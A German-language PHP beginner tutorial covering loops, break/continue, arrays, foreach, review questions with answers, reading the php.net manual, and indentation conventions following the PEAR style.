Der Ausdruck für die Bedingung kann beliebig aufgebaut sein, jedoch muss er einen Wert zurückliefern
der dann geprüft wird. Dies heißt auch dass logische Verknüpfungen wie and
verwendet werden können.
3. Do-While-Schleife
Eine Do-While-Schleife besitzt wie die while-Schleife
ein zu prüfender Ausdruck. Dieser steht jedoch am Ende der Schleife und wird auch
erst an dieser Stelle überprüft. Da der Schleifenrumpf vor dem Schleifenkopf steht kann
der Schleifenkopf erst nach einem Durchlauf überprüft werden. Dies bedeutet
auch das eine Do-While-Schleife mindestens einmal durchlaufen wird, selbst wenn
die Schleifenbedingung false ergibt. Dies ist auch der Unterschied zu
einer While-Schleife. Wenn man möchte dass die Schleife mindestens 1 mal durchlaufen wird
verwendet man eine Do-While-Schleife. Wenn die Schleife auch 0 mal durchlaufen werden
soll verwendet man eine While-Schleife.
Eine Do-While-Schleife wird mit dem Schlüsselwort do eingeleitet.
Danach folgt der Schleifenrumpf, also die Anweisungen die in einer Schleife
ausgeführt werden sollen. Danach kommt das Schlüsselwort while,
dann der zu prüfende Ausdruck in runden Klammern und dann (zwingend erforderlich)
ein Semikolon. Bei einer While-Schleife ist ein Semikolon nicht Bestandteil der
While-Schleife (so fehlerhaft wie bei if();), bei einer Do-While-Schleife hingegen pflicht.
<?php do { Verbinden(); $daten = DatenAbfragen(); VerbindungBeenden(); } while ($daten > 40); // was auch immer dieser Code machen wird... ?>
4. For-Schleife
Eine For-Schleife ist wie eine While-Schleife eine kopfgesteuerter
Schleife (Do-While ist fussgesteuert). Der Schleifenkopf ist
somit vor dem Schleifenrumpf. Auch er enthält eine zu prüfender Ausdruck. Zusätzlich
zu einer While-Schleife enthält er noch 2 weitere Felder. Das eine Feld wird
einmal zum Start ausgeführt, das andere Feld wird nach jedem Schleifendurchlauf
ausgeführt.
Eine For-Schleife wird mit dem Schlüsselwort for eingeleitet.
Danach folgen in runden Klammern die 3 Felder von der for-Schleife,
getrennt mit ;. Nach dem Schleifenkopf folgt wie üblich
der Schleifenrumpf mit den Anweisungen.
<?php for (startanweisung; bedingung; durchlaufanweisung) { // anweisungen... } ?>
Am Anfang wird der Teil startanweisung ausgeführt (einmal). Dann wird
wie bei While die Bedingung bedingung geprüft und demnach entschieden
ob der Schleifenrumpf ausgeführt werden soll oder nicht. Am Ende des Schleifendurchlaufs,
aber vor der nächsten Überprüfung, wird der Teil durchlaufanweisung
ausgeführt.
<?php // gib die Zahlen von 0 bis 9 aus (bei 10 ist die Bedingung false) for ($i=0; $i<10; $i++) { echo $i."\n"; } ?>
5. Wann While- und wann For-Schleifen?
Da man nun Ähnlichkeiten zwischen While- und For-Schleifen feststellt stellt sich
nun die Frage in welcher Situation eine While-Schleife und wann eine For-Schleife
verwendet wird. Unabhängig von dieser Antwort ist es erstmal möglich jede
While-Schleife in eine For-Schleife umzuwandeln, indem man die Anweisungen aus
dem For-Teil in den While-Rumpf packt und umgekehrt.
<?php while (bedingung) { anweisungen; } // umformen zu for: for (;bedingung;) { anweisungen; } ?>
<?php for (start; bedingung; durchlauf) { anweisungen; } // umformen zu while: start; while (bedingung) { anweisungen; durchlauf; } ?>
Die Anzahl der Anweisungen kann also kein Grund sein wann ein While- und
wann eine For-Schleife verwendet wird. Eine For-Schleife benutzt man
gegenüber einer While-Schleife wenn man schon zu Entwicklungszeit die
Anzahl der Schleifendurchläufe kennt. Die Startanweisung
und die Durchlaufanweisung realisieren daher eine
Zählstruktur.
<?php for ($i=0; $i<10; $i++) { // mach was mit $i, wobei $i von 0 bis 9 läuft } ?>
Eine While-Schleife verwendet man üblicherweise wenn man nicht
die Anzahl der Schleifendurchläufe kennt (selbst wenn man sie
im PHP-Skript berechnen könnte). Ein Beispiel wäre das Auslesen
von Datensätzen aus einer Datenbank.
<?php while (DatensaetzeVorhanden()) { GibNaechstenDatensatzAus(); } ?>
Auch das Auslesen aus einer Datei folgt nach dem selben Prinzip
obwohl man mit filesize die Dateigröße bestimmen könnte.
<?php while (!Dateiende()) { LeseEinZeichen(); } ?>
6. Continue und Break
Der Verlauf einer Schleife kann neben der Schleifenbedingung noch anders
gesteuert werden. Eine Möglichkeit besteht ein return zu verwenden. Dies
hat aber nichts speziell mit Schleifen zu tun, da man return (fast) überall
verwenden kann. Für Schleifen gibt es jedoch noch die speziellen Ausdrücke
continue und break.
break - beendet an der aktuellen Stelle die Schleife und führt
dann den folgenden PHP-Code aus, so als würde die Schleifenbedingung false
ergeben (selbst wenn dies nicht der Fall wäre).
<?php while (...) {
break; // ---> // | // V } // <--- ?>
continue - überspringt den aktuellen Schleifendurchlauf und beginnt
mit dem nächste. Er springt dabei zum Ende des Schleifenrumpfs. Für For-Schleifen
bedeutet dies auch dass die Durchlaufanweisung ausgeführt wird (für den
nächsten Durchlauf), für Do-While-Schleifen
bedeutet dies dass die Schleifenbedingung geprüft wird (und auch für
While-Schleifen, aber da erst im Beginn des darauf folgenden Schleifendurchlaufs).
<?php // keine Endlosschleife wie vielleicht vermutet do { // < - - - // | Nicht wie erwartet // | continue; // ---> - - // | // V Dies ist der Weg von continue // <--- } while(false); ?>
Eine if-Abfrage kann auf diese Weise nicht verlassen (oder sogar neu durchlaufen werden)
da eine if-Abfrage kein Schleifenkonstrukt ist. Sowas wie if (...) { .... break; ...}
wird nur klappen wenn das ganze in einer Schleife steht und somit das break auf
die Schleife angewendet werden kann.
Beide Konstrukte können optional eine Zahl angegeben werden die angibt die wievielte Schleife
angesprechend werden soll. Die aktuelle/innerste Schleife ist dabei Nummer 1 und wird dann
entsprechend der Verschachtelungen hochgezählt. Der Ausdruck break 1 ist
äquivalent zu break.
<?php $found = false; for ($x=0; $x<100; $x++) { for ($y=0; $y<100; $y++) { for ($z=0; $z<100; $z++) { if (PixelFarbe($x, $y, $z) == 0xFFCCFF) { $found = true; break 3; } } } } ?>
Diese verschachtelten Schleifen würden insgesammt 100*100*100 also 1.000.000 mal durchlaufen. Würde
der Funktionsaufruf von PixelFarbe(int, int, int) nur 10µs dauern würde dieser
Code 10 Sekunden laufen. Mit dem break 3 verlassen wir jedoch die 3 Schleifen,
nachdem wir unseren Pixel gefunden haben und können so Zeit einsparen. Es ist klar wenn
wir die Farbe nicht finden müssen wir trotzdem alle Pixel durchlaufen.
Arrays sind in PHP ein wichtiger Bestandteil. Formulardaten und URL-Parameter sind z.B. in Arrays
abgelegt. Werte aus einer Datenbank werden in einem Array gespeichert. Alles was
einer mathematischen Funktion
entspricht wird in PHP mit einem Array dargestellt. Formal sind Arrays geordnete (nicht zu verwechseln
mit sortiert) Paare von Schlüsseln und Werten. Die Schlüssel, endsprechend im englischen
keys genannt, dürfen dabei nur aus Integer-Zahlen oder Strings bestehen.
Die Werte sind hingegen nicht eingeschränkt, dürfen insbesondere auch ihrerseits Arrays enthalten.
Ein einzelnes Element aus so einem Array verwendet man dann ganz normal wie Variablen.
2. Verwenden von Arrays
Arrays werden in PHP mit dem Sprachkonstrukt array erzeugt. Die Werte für das
Array gibt man dann mit Kommatas getrennt als Parameter an.
Dieses Array besitzt 10 Elemente. Die Schlüssel, oder auch Indizes (mehrzahl von Index), werden
dann automatisch bestimmt, beginnent bei 0 aufsteigend. Somit gehört zum
ersten aufgelisteten Arrayelement der Index 0, das letzte aufgelistete
Arrayelement besitzt den Index 9. Dies kann auch mit der var_dump
Funktion überprüft werden.
Auf ein spezielles Arrayelement greifen wir mit eckigen Klammern und dem Index zu.
<?php $arr = array("foo", "bar", "bla", 5.6, false, -10, "foo", "foo", "bar", "foo"); echo $arr[0]; // gibt foo aus echo $arr[3]; // gibt 5.6 aus echo $arr[4]; // gibt nichts aus, das liegt daran das 'bool(false)' für echo zu 'string(0) ""' wird var_dump($arr[4]); // gibt bool(false); aus ?>
Wie man sieht können gleiche Werte im Array vorhanden sein, da sie sich
im Schlüssel unterscheiden. So gibt es Arrayelemente mit dem Wert foo und
den Indizes 0, 6, 7 und 9.
Die Werte eines Arrayelements können beliebig verändert werden indem der
neue Wert wie bei einer Variablen zugewiesen wird.
Wenn es bereits ein Arrayelement mit dem angegebenen Index gibt so wird
der alte Wert mit den neuen Wert überschrieben. Wenn es kein solches
Arrayelement gibt wird ein neues Arrayelement an das Array angefügt,
mit dem angegebenen Index und Wert. Damit ist es möglich zuerst ein
leeres Array zu erzeugen und nachher dieses zu füllen.
Hier sieht man die Arraygröße von 2, die Indizes 3 und 9
und die entsprechenden Werte wert und anderer wert. Wie
gesagt sind die Werte nicht sortiert. Aber es gibt genügend Sortierfunktionen
in PHP um Arrays zu sortieren.
Neben Zahlen können auch Strings als Schlüssel/Indizes verwendet werden.
echo 'Mein Name ist '.$user['Name'].', ich bin '.$user['Alter'].' Jahre alt und lebe in '.$user['Wohnort'].".\n";
var_dump($user); ?>
Die Ausgabe ist dabei wie folgt:
Mein Name ist Max Mustermann, ich bin 18 Jahre alt und lebe in Deutschland.
array(3) {
["Name"]=>
string(14) "Max Mustermann"
["Alter"]=>
int(18)
["Wohnort"]=>
string(11) "Deutschland"
}
Arrays die Strings als Indizes enthalten werden üblicherweise als assoziative Arrays
bezeichnet. Im anderen Fall werden sie schlicht Array oder
nummerische Arrays genannt.
Wenn bei einer Wertzuweisung der Index weggelassen wird (also nur $arr[]) so
wird automatisch als Index der bisher größte Zahlenindex +1 verwendet, jedoch minimal
der Wert 0, damit keine negativen Indizes erstellt werden (was jedoch möglich ist).
<?php $foo = array(); $foo[] = "wert"; // Index 0 wird verwendet $foo[] = "wert"; // Index 1 wird verwendet, höchster bisheriger Index ist 0 $foo[10] = "wert"; // Index 10, wurde angegeben $foo[] = "wert"; // Index 11, höchster bisheriger Index ist 10 var_dump($foo);
$foo = array(); $foo[-5] = "wert"; // Index -5, wurde angegeben $foo[] = "wert"; // Index 0, höchster bisheriger Index ist -5, neuer Index ist jedoch mindestens 0 var_dump($foo); ?>
Die Indizes können auch innerhalb des array Konstrukts angegeben werden.
Statt dem einfachen Wert hinzuschreiben fügt man vorher noch x => ein,
wobei x der zu wählende Index ist.
<?php $bar = array(5 => "bar", "foo"); // 2. Element bekommt den Index 6
$var = array(-10 => "abc", "xyz"); // 2. Element bekommt den Index 0, s.o.
$var = array("Name" => "Max Mustermann", "foobar"); // 2. Element bekommt den Index 0 ?>
Um ein Arrayelement zu löschen wird die Funktion unset verwendet.
Für Arrays können auch die Vergleichsoperatoren == und ===
verwendet werden, sowie der +-Operator. Zwei Arrays
sind gleich (==) wenn sie die selben Arrayelemente besitzen und
sind identisch (===) wenn die Arrayelemente in der selben
Reihenfolge sind und die selben Typen haben.
Mit dem +-Operator können Arrays zusammengepackt werden. Bereits
verwendete Indizes werden nicht überschrieben. Wenn man alle Werte von mehrere
Arrays zusammenpacken will muss man die array_merge Funktion verwenden.
<?php var_dump(array("x") + array("y")); // Array mit einem Element 'x' und Index 0 (da beide Arrays den Index 0 benutzen)
var_dump(array_merge(array("x"), array("y"))); // Array mit beiden Elementen 'x' und 'y' ?>
3. Foreach-Schleifen
Für Arrays gibt es den speziellen Schleifentyp foreach. Mit diesem
Schleifentyp werden die einzelnen Arrayelemente eines Arrays durchlaufen. Eine
Foreach-Schleife beginnt mit dem Schlüsselwort foreach. Dann folgt
nach der öffnenen Klammer das Array bzw. die Variable die das Array
enthält welches durchlaufen werden soll. Danach folgt das Schlüsselwort
as und eine neue Variable. In dieser Variable wird für jeden
Schleifendurchlauf der neue Wert des nächsten Arrayelements gespeichert. Nach
der folgenden schließenden Klammer beginnt der Schleifenrumpf.
<?php $a = array("foo", "bar", "bla"); foreach ($a as $value) { echo $value."\n"; } // gibt nacheinander die Werte aus dem Array aus ?>
Wenn man zusätzlich zu den Werten noch die entsprechenden Arrayindizes benötigt
muss man vor der Schleifenvariable noch $var => schreiben. Auch
hier kann der Variablennamen frei gewählt werden.
<?php $user = array('Name' => "Max Mustermann", 'Alter' => 18, 'Wohnort' => 'Deutschland', 10 => 100); foreach ($user as $k => $v) { echo "Arrayelement mit dem Index '".$k."' enthält den Wert '".$v."'\n"; } ?>
Die Indizes werden z.B. dann gebraucht wenn in der Schleife Arrayelemente verändert
werden sollen. Die Schleifendurchlaufvariablen enthalten nur Kopien der
Arrayelemente. Wenn man nun ein Arrayelement verändern möchte muss man wie üblich
über array[index] zugreifen.
Nun wurden die Grundlagen von PHP besprochen. Es ist klar dass es noch viel mehr gibt, insbesondere
Sachen wie OOP und Referenzen, geschweige denn von extensions wie
mysqli. Dies ist jedoch ein guter Zeitpunkt um nochmal das gelernte Wissen
zu prüfen. Daher existiert hier eine Menge von Fragen die ihr beantworten können müsst.
1. Wann benutzt man eine while, und wann eine for-Schleife?
Eine while-Schleife benutzt man, wenn man nicht weiß, wie oft diese
Schleife durchlaufen wird. Die for-Schleife hat meistens den typischen Aufbau,
dass eine Laufvariable bis zu einem bestimmten Wert von 0 immer um eins erhöht. Daher benutzt man
eine for-Schleife dann, wenn man einen Programmteil eine ganz bestimmte Anzahl von Iterationen
durchlaufen möchte.
2. Welche Kommentar-Typen gibt es?
Es gibt einmal einzeilige Kommentare die mit // eingeleitet werden.
Und es gibt mehrzeilige Kommentare die mit /* (bzw. /**) beginnen
und mit */ beenden.
3. Wie ist der Aufruf einer Funktion definiert?
Wenn eine Funktion aufgerufen werden soll, muss man den Namen der Funktion hinschreiben,
Groß/Kleinschreibung ist dabei egal. Doch man sollte den Funktionsnamen klein schreiben.
Danach kommen, durch Kommas getrennt und in Klammern gesetzt, die Parameter, die an eine
Funktion gesendet werden sollen. Und danach muss dann der Funktionsaufruf mit ;
abgeschlossen werden.
4. Was läuft auf dem Server, was auf dem Client?
PHP wird einzig und allein auf dem Server interpretiert und handelt auch nur da. Sachen wie
"winamp starten" ist nicht möglich. Dafür, falls es überhaupt geht, gibt es Javascript, mit
denen man eine Menge an Spielereien am Client machen kann. PHP selbst erstellt (in der Regel)
nur ein HTML-Dokument.
5. Wie ziehe ich von einer Zahl 1 ab?
Es gibt 3 Möglichkeiten von einer Zahl 1 abzuziehen.
<?php $var = 10;
$var = $var - 1; $var -= 1; $var--; ?>
6. Was für Variablentypen gibt es?
Es gibt folgende Variablentypen
boolean
integer
float, double
String
Array
Folgende Typen habt ihr noch nicht kennengelernt.
Object
Resource
Null
7. Wie füge ich 2 Strings, 2 Variablen oder 1 String und 1 Variable zusammen?
Ausdrücke können mit dem Punkt (.) zusammengehängen werden.
Ein PHP-Dokument startet mit <?php und endet mit ?>.
9. Womit startet ein HTML-Dokument?
Ein HTML-Dokument startet mit dem DOCTYPE, welcher angibt,
um was für ein HTML-Dokument es sich genau handelt.
10. Welche 2 Teile sendet der Server zum Client und in welcher Reihenfolge?
Zuerst sendet der Server die Headerangaben zur angeforderten Datei.
Danach kommt der eigentliche Inhalt der Datei. Wenn bereits etwas
Dateiinhalt gesendet wurde (sei es nur ein Leerzeichen oder Enter), können die
Headerangaben nicht mehr geändert werden.
11. Was ergibt (!(!true XOR true) AND !(!false OR !true)) XOR (false OR (true XOR !false))
Dies ergibt false.
(!(!true XOR true) AND !(!false OR !true)) XOR (false OR (true XOR !false))
(!(false XOR true) AND !( true OR false)) XOR (false OR (true XOR true ))
(!( true ) AND !( true )) XOR (false OR ( false ))
( false AND false ) XOR (false OR false )
( false ) XOR ( false )
false
12. Was ist der Unterschied zwischen \n und <br />?
\n ist ein Stringsteuerzeichen in PHP und bewirkt das an dieser Stelle ein
Zeilenumbruch im Quelltext vorgenommen wird. <br /> hingegen ist ein HTML-Element
und bricht an dieser Stelle ein Text im Browser um z.B. ein Text in einem <p>-Element.
13. Wann wird ein else-Teil ausgeführt?
Wenn der Ausdruck im if den boolischen Wert false ergibt, so wird der
else-Teil von if-else ausgeführt.
14. Was macht break; und was macht continue;?
break; beendet eine aktuelle Schleife oder ein switch und arbeitet
dann im Code weiter. continue; veranlasst den nächsten Schleifendurchlauf
einer Schleife. Bei einer for-Schleife wird zusätzlich noch die Durchlaufanweisung ausgeführt.
15. Was ist als Index für ein Arrayelement gültig?
Als Index für ein Arrayelement sind nur Integer-Zahlen und Strings erlaubt.
16. Schreiben sie ein Script, welches die Zahlen von -10 bis +10 in ein Array schreibt
<?php $array = array(); // ein leeres Array erzeugen
17. Schreiben sie ein Script, welches alle geraden Zahlen von $start bis $stop in ein Array schreibt
<?php // $start und $stop muessen zuvor natuerlich belegt werden.
$array = array(); // ein leeres Array erzeugen
if ($start%2) { // Wenn die Division durch 2 einen Rest ergibt $start++; // Erhöhe die Variable um 1 } for ($i=$start; $i<=$stop; $i+=2) { $array[] = $i; } ?>
18. Schreiben sie ein Script, das bei einer Integer-Zahl die Einer- und Zehnerstellen auf 0 setzt
<?php $zahl = 3463; // zum Beispiel $rest = $zahl % 100; $zahl -= $rest; echo $zahl;
Auf der offiziellen Homepage von PHP befindet sich
neben den Quellcodes und Downloads zu PHP auch das Handbuch zu PHP. Neben den
Grundlegenden Themen zum Skriptaufbau und Sicherheit besteht das Handbuch
hauptsächlich aus einer Liste von Funktionen und Klassen die in PHP (je nach
Installation) bereit stehen. Diese Funktionen sind dabei noch in Gruppen unterteilt.
So gibt es z.B. Funktionsgruppen zu String und MySQL.
2. Finden einer Funktionsbeschreibung
Trotz der Tatsache das im Handbuch eine Liste der Funktionsbeschreibungen vorhanden
ist muss zuerst die passende Funktion gefunden werden. Als erstes sollte man
in der Funktionsreferenz nachgucken, insbesondere in den Funktionsgruppen. Eine
Funktion die ein Array sortieren soll wird wohl in der Gruppe
Arrays zu finden sein, eine Funktion um Texte in einem
String zu ändern wohl in der Gruppe Strings. In einer solchen
Gruppen finden sich neben allgemeinen Informationen wie Installation, Einstellungen
und Beispielen (zu diesen Gruppen) auch eine Liste der Funktionen die zu dieser
Gruppe gehören und ein Kurztext was diese leisten. So würde man in der
Gruppe Arrays die Funktion sort finden mit der
Beschreibung Sort an array. Ein Klick auf den Link bringt einen
zu der entsprechenden Funktionsbeschreibung.
Die für den Programmierer einfachere Lösung (aber für Helfer und Forum-Moderatoren
nervigere Lösung) wäre einfach eine entsprechende Frage zu stellen wie eine solche
Funktion in PHP heißt.
<user> ich hab ein Problem, ich hab mit php nun ein array
erstellt, jedoch sind die werte total unsortiert, wie sortiere ich die?
<helfer> sort
<helfer2> mit usort
<helfer3> du kennst www.php.net?
<helfer4> probier mal sort()
You have been kicked from #helpchannel by operator3 (sort(), und nächste mal das handbuch auf www.php.net/manual lesen)
In den meisten Fällen handelt es sich um ein Funktionsname. Nun kann im Handbuch
die entsprechenden Funktionsbeschreibung aufgerufen werden. Dazu gibt es mehrere
Möglichkeiten.
Auf der Homepage gelankt man mit dem Link
documentation oben im Menu
in das Handbuch. Obwohl das Handbuch in mehreren Sprachen verfügbar ist
sollte stehts English verwendet werden, da die englische
Version immer stehts die aktuelle Funktionsbeschreibung enthält. In
der englischen Version befindet sich die Funktionsgruppen in einem
Unterpunkt namens Function Reference. Da die zu
suchende Funktion wohl zu Arrays gehören klickt man auf
Arrays.
Ganz unten in der Gruppenbeschreibung findet sich eine sortierte Liste
von den Funktionen in dieser Gruppe. Dort findet sich entsprechend auch ein
Eintrag zu sort mit der Kurzbeschreibung Sort an array.
Mit einem Klick gelangt man zu der entsprechenden Funktionsbeschreibung.
Auf der Homepage befindet sich oben rechts ein Eingabefeld für die
Suche auf der Homepage. Standardmäßig wird nur in der Funktionsreferenz gesucht,
kann jedoch entsprechend geändert werden wenn man weiß wo man suchen möchte.
Dort kann der Name der Funktion eingegeben und durch die Suche gelangt man
zu der entsprechenden Funktionsbeschreibung. Wenn die Suche keinen Treffer
ergab so gibt sie wenigstens eine Liste von Funktionen aus, die so
ähnlich klingen. Somit kann auch eine Funktion gefunden deren Namen vielleicht
erst falsch geschrieben wurde.
Am einfachsten ist der Aufruf der URL http://www.php.net/FUNKTIONSNAME
wobei FUNKTIONSNAME die Funktion ist, von der man die
Funktionsbeschreibung haben möchte. So ein Aufruf der URL ruft automatisch
die Suche der Homepage auf und in den meisten Fällen gelangt man so zu der entsprechenden
Funktionsbeschreibung.
3. Lesen und Verstehen einer Funktionsbeschreibung
Obwohl es einfacher ist eine Funktionsbeschreibung in der Muttersprache zu lesen ist es
sinnvoller die Sprache einer Funktionsbeschreibung auf English zu stellen.
Dazu befindet sich in der Dropdown-Liste oberhalb der aktuellen Funktionsbeschreibung
der Eintrag English mit der entsprechend die Sprache umgestellt werden
kann.
Nach dem Namen der Funktionsbeschreibung ist eine Angabe ab welche Versionen diese
Funktion in PHP implementiert wurde und danach die Kurzbeschreibung der Funktion.
Darauf folgt die eigenliche Funktionsbeschreibung. Diese Beginnt mit dem Funktionskopf.
Dieser besteht aus den Angaben Rückgabewert, Name der Funktion
und Parameterliste. Der Rückgabewert gibt entsprechend
den Typ an den die Funktion zurückliefert. Die Angaben void bedeutet dass
die Funktion nichts zurückliefert. Die Parameterliste gibt an
welche Parameter die Funktion unterstützt. Jeder Parameter ist dabei in der Form
type $name oder type &$name. Der Typ gibt an welchen
Typ der Parameter haben sollte bzw.
muss. Dabei gibt es einige spezialtypen die in PHP nicht als solche existieren und
nur in der Dokumentation verwendet werden. So steht der Typ number für
eine float- oder int-Zahl. Eine Liste dieser
Pseudotypen ist im Handbuch unter Pseudo-types
and variables used in this documentation zu finden. Nach dem Typ steht der
Name des Parameters. Dieser Name wird auch in der Funktionsbeschreibung verwendet.
Wenn vor dem Namen ein & handelt sich bei diesem Parameter um
ein Parameter mit Referenz. Dabei muss einmal der Parameter eine Variable sein und des Weiteren
verändert die Funktion den Inhalt dieser Variable. Dies unterscheidet sich daher von
Funktionsaufrufen ohne dem & die nur eine Kopie des Wertes übergeben.
Des Weiteren können Parameter in eckigen Klammern stehen. Damit wird angegeben dass dieser
Parameter optional ist und weggelassen werden kann.
Nach dem Funktionskopf folgt die genaue Beschreibung der Funktion und der Parameter. Dabei
greift sie auf die Namen der Parameter zu. Die Parameternamen stehen dabei in einer
monospace-kursiven Schrift um sie vom Fließtext zu unterscheiden. Daher ist der Satz
If search or replace are arrays, [...] als solches Schwachsinnig, ergibt
jedoch Sinn wenn man weiß dass search und replace die Namen der
Parameter sind. Die genaue Funktionsbeschreibung enthält zusätzlich einige Beispiel wie eine Funktion
verwendet wird sowie eine Auflistung aller Parameter und deren Funktionsweisen.
Der Rückgabewert einer Funktion wird extra aufgelistet und enthält eine Beschreibung
über den Rückgabewert. Bei einer Funktion mit Rückgabetyp void wird
dieser entsprechend weggelassen, bei einem Rückgabetyp mixed kann hier
jedoch eine Menge Text stehen um alle Fälle der Funktion abzudecken.
Da auch PHP stehts in der Entwicklung ist enthalten einige Funktionen einen kurzen
Hinweis was sich in welcher PHP-Version an dieser Funktion getan hat. So sind
z.B. einige Parameter erst ab einer bestimmten PHP-Version implementiert worden.
Die meisten Funktionen enthalten zusätzlich Querverweise zu anderen Funktionen, die
einen Bezug zu der aktuellen Funktion haben. So kann es sein dass eine Funktion nicht
das macht was man möchte, jedoch vielleicht so die richtige Funktion findet wenn
man einen Querverweis öffnet.
Abschließend enthalten alle Funktionen einen Bereich von Userkommentaren. Sie erläutern
nochmal einige Funktionshinweise und bieten auch Beispielcodes an, wie diese
Funktion zu verwenden ist. In den Kommentare sind auch eigene Funktionsdefinitionen zu
finden die vielleicht für andere Programmierer interessant sind.
4. Funktionsbeschreibung zu sort
Als Beispiel wählen wir die Funktionsbeschreibung zu sort. Diese
Funktion ist in den PHP Versionen php4 und php5 vorhanden
und anhand der Kurzbeschreibung ist zu erkennen dass mit dieser Funktion ein
Array sortiert werden kann.
Der Funktionskopf beschreibt dass die Funktion einen boolischen Wert zurückliefert,
der erste Parameter eine Variable mit einem Array sein muss und der zweite Parameter
optional eine Integer-Zahl sein kann. Unabhängig was diese Funktion genau macht kann
die Funktion wie folgt aufgerufen werden.
Die Funktionsbeschreibung enthält dann ein Text was diese Funktion leistet. In diesem
Fall wird das angegeben Array aufsteigend sortiert. Des Weiteren beschreibt sie den
Rückgabewert, der true ist wenn das Array sortiert wurde und false
ist wenn ein Fehler auftrat.
Obwohl der optionale Parameter von der Syntax her jede beliebige Integer-Zahl erwarten
kann ergeben nur einige Integerwerte Sinn. So steht in der Beschreibung dass man die
Werte SORT_REGULAR, SORT_NUMERIC, SORT_STRING
und SORT_LOCALE_STRING verwenden kann um die entsprechende Funktionalität
zu haben die in der Beschreibung angegeben ist. Auf den ersten Blick würde man meinen
dass es sich hierbei um Strings handelt und die Funktion vielleicht mit
sort($a, "SORT_NUMERIC"); aufruft. Dagegen spricht jedoch einmal die
Tatsache dass der 2. Parameter eine Zahl sein soll, kein String. Des Weiteren
deutet die Großschreibweise an dass es sich hierbei um Konstanten handelt. Wenn man
in der Gruppenübersicht nachguckt findet man dort auch in der Liste der definierten
Konstanten auch die angegebenen Konstanten. Also kann man diese Konstanten für diese
Funktion verwenden.
Als Querverweise enthält die Funktionsbeschreibung eine Auflistung anderer Sortierfunktionen.
Und zum Schluss sind die Userkommentare zu dieser Funktion zu finden.
Um seine PHP-Skripte besser zu strukturieren sollten diese sauber eingerückt werden.
Als Beispiel nehmen wir folgenden PHP-Code.
<?php error_reporting(E_ALL); ini_set('display_errors', 1); function todo($str) { for($i=0;$i<strlen($str);$i++) { if("z" == $str[$i]) { $str[$i]="1"; }else{ if("a" == $str[$i]) { $str[$i]="2"; }else{ switch($str[$i]) case "b":case "c": $str[$i]=1; break; case "c": $str[$i]=0; } } } } class Foobar { private $bar; public function __construct($a) { $this->bar = $a; } public function ersetze() { foreach($a as $value) { if(is_string($value)) { $value=todo($value); } } } } $obj = new Foobar(array("x","z")); $obj->ersetze(); ?>
Es ist dabei Egal was dieser Code macht. Hieran ist zu erkennen dass
keine Einrückung am Code vorgenommen wurde. Somit ist nicht leicht
zu erkennen, wo ein Programmblock aufhört und wo der nächste anfängt.
So kann man z.B. nicht verfolgen welche Anweisungen noch in
einer Schleife stehen und welche nicht mehr. Das Verfolgen des
PHP-Skriptes ist jedoch ein wichtiger Bestandteil wenn es darum
geht das PHP-Skript zu überprüfen und eventuelle Fehler zu beseitigen.
Daher beschreibt dieses Kapitel die Strategien wie Eingerückt werden.
Es ist egal wie genau eingerückt wird, hauptsache es wird
eingerückt. Dabei sollte konsequent eingerückt werden und nicht
nur sporanisch an einigen Stellen. Hier wird weitgehend
nach dem PEAR
Coding Standard eingerückt. Alle Regeln können auch dort
nachgelesen werden. Des Weiteren werden hier alle Einrückungen
mit 4 Leerzeichen realisiert, nicht mit Tabulatoren. Im Editor muss
dies ggf. umgeschaltet werden, das bei einem Tabulator-Druck
mit Leerzeichen eingerückt wird. Selbstverständlich gibt es beliebig
viele Strategien wie eingerückt wird, siehe
http://en.wikipedia.org/wiki/Indent_style.
2. Einrücken von Anweisungen und Funktionsaufrufen
Bei Funktionsaufrufen werden die Parameter üblicherweise (neben
dem notwendingen Kommata) mindestens mit einem Leerzeichen getrennt.
Somit ist sofort erkennbar was die Parameter einer Funktion sind.
Bei sehr langen Parametern können diese auch untereinander geschrieben
werden.
<?php $str = str_replace('Foobar', 'FOOBAR', $str); // Leerzeichen zwischen Parametern $str = name_xyz('Ein sehr verdammt langer Parameter', 'Weitere Parameter', false, array(1, 2, 4), "foobar"); // Funktionsaufruf mit 5 Parametern, der 4. ist ein Array ?>
In anderen Teilen sollten zusätzliche Leerzeichen eingefügt werden, um
deren Lesbarkeit zu erhöhen.
<?php $var = "Text"; // <-- paar Leerzeichen vor dem Gleichheitszeichen $langevar = "Text"; ?>
3. If-Abfragen
Bei einer If-Abfrage wird der Inhalt vom Rumpf um eine Stufe eingerückt.
Die öffnende geschweifte Klammer wird mit einem Leerzeichen getrennt
hinter der If-Abfrage geschrieben, die schließende geschweifte Klammer
kommt in eine extra Zeile und wird auf Höhe der If-Abfrage geschrieben.
Nach dem Schlüsselwort if wird ein Leerzeichen eingefügt.
Wenn die If-Abfrage einen else oder else if
Teil enthält wird dieser hinter der geschweiften Klammer geschrieben,
auch wieder mit einem Leerzeichen getrennt.
<?php if (bedingung) { tu_das(); } else if (bedingung2) { mach_dies(); } else { dann_halt_das(); } ?>
4. Schleifen
Bei Schleifen wird der Inhalt des Schleifenrumpfs wie bei einer If-Abfrage
um eine Stufe eingerückt. Die öffnende geschweifte Klammer wird mit einem Leerzeichen
hinter dem Schleifenkopf geschrieben, die schließende Klammer wird auf eine
extra Zeile geschrieben.
<?php while (bedingung) { arbeite(); } ?>
Bei einer For-Schleife werden die einzelnen Teile zusätzlich mit einem
Leerzeichen getrennt, die Teile selbst enthalten üblicherweise keine Leerzeichen.
<?php for ($i=0; $i<10; $i++) { arbeite(); } ?>
Der selbe Stil wird für do-while- und foreach-Schleifen
verwendet.
<?php do { arbeite(); } while (bedingung);
foreach ($array as $value) { arbeite($value); } ?>
5. Funktionsdefinitionen
Eine Funktionsdefinition sollte immer ein PHPDoc-Kommentar besitzen. So kann
jeder Entwickler nachlesen was diese Funktion leisten soll und was sie macht.
Die Parameter einer Funktion werden zusätzlich zum Kommata mit einem
Leerzeichen getrennt. Die geöffnete geschweifte Klammer wird mit einem
Leerzeichen getrennt hinter der Parameterliste angehängt.
Die geschlossene geschweifte Klammer kommt in eine extra Zeile auf Höhe des Schlüsselworts
function. Der Funktionsrumpf wird nun dabei um eine
Stufe eingerückt.
<?php /** * PHPDoc zur Funktion foobar */ function foobar($bar, $bla) { arbeite($bar); arbeite($bla); } ?>
6. Einrücken von Klassen
Klassen werden nach dem selben Stil eingerückt. Die einzelnen Eigenschaften
und Methoden werden untereinander zusätzlich von einer Leerzeile getrennt.
Wie bei den Funktionen gehören (besonders) auch bei Klassen PHPDoc-Kommentare
die die einzelnen Elemente beschreiben.
<?php /** * PHPDoc zu Foobar */ class Foobar { /** * PHPDoc zu $xyz */ private $xyz;
/** * PHPDoc zu XYZ() */ public function XYZ() { arbeite(); } } ?>
